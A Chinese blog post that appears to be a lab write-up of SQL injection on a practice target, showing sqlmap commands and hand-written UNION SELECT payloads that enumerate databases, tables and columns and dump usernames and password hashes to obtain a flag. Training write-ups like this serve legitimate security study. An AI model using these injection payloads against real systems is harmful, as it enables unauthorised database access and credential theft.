
SQL过滤字符后手工注入漏洞测试(第3题)
时间:2025-01-05 作者:zhankehua 评论:0 点击:142 次
启动靶场后,仔细观察,测试登录,无漏洞,测试通知,存在sql注入
在这里,偷个懒,先用sqlmap跑一下。
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 --dbs --batch
暴数据库列表
很明显,min_ju4t_mel1i是我们要的数据库,继续
暴表
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min
_ju4t_mel1i -tables --batch
根据题目上的提示,表stormgroup_member看上去是我们需要的。那先暴这个表中的字段吧。
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --cloumns --batch
dump下name和password
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --dump --batch
根据表中的status,为1的用户才可使用,使用mozhe3登录,我去,账号和密码错误,那说明不是这个表。那再试试这个表(@dmin9_td4b}
这里要注意了,这个表名有点特殊,有特殊字符,这个简单,使用转义技巧来确保SQLMap生成的SQL语句正确执行。暴字段的语句如下:
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T "`(@dmin9_td4b}`" --columns --batch
再dump下字段内容
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T "`(@dmin9_td4b}`" --dump -C status,username,password --batch
这里,也是只有mozhe3用户未禁用,将哈希值放到md5中查询。
再登录系统试试,能够成功登录,并找到key
mozhe08d33cd3b9c31e075575fd088fa
好了,明天继续手功完成这一操作。
现在是2025年01月05日,早上8:29,现在继续进行手功注入。
首看这个注入点是数字型的还是字符型的。
在注入点分别输入1,1+2,发现没变化,初就判断为字符型注入
再输入字符a,看看是什么结果,从这里来看,应该是字符型的注入了
那就先进行暴数据库名,在这里,要想暴数据库名,那首先要知道查询结果中会有多少列。通过上图的表看,查询结果中至少有5个字段(除了上面显示的商品名称、商品类型、商品品牌,商品价格4个名,应该还有一个看不到的id。那先测试一下吧。
这里要注意,id=-1是为了这个条件查不出结果,而是要使用后面查询的结果。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,3,4,5;
发现提示:列名数量不一致。
那就再增加1个
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,3,4,5,6;
还是同样的提示
那再增加1列
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,3,4,5,6,7;
这时有结果了:
那我们就在3这个位置暴当前数据库名吧,输入:
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,database(),4,5,6,7;
当前的数据库名已暴出,如果想暴出所有数据库名怎么做呢?
使用以下语句:
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),4,5,6,7;
所有数据库名就出来了。
现在知道了数据库名,那就看看有哪些表吧。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema="min_ju4t_mel1i"),4,5,6,7;
表已暴出,那现在暴字段了。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema="min_ju4t_mel1i" and table_name="(@dmin9_td4b}"),4,5,6,7;
现在开始暴字段中的内容。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(status,0x3a,username,0x3a,password) from `(@dmin9_td4b}` ),4,5,6,7;
手工注入到此结束!!!
本文标签:
转载请注明出处: http://www.itsec365.cn/?id=75
- 上一篇:CMS系统漏洞分析溯源(第9题)
- 下一篇:CMS系统漏洞分析溯源(第6题)
已有 142 位网友参与,快来吐槽:
发表评论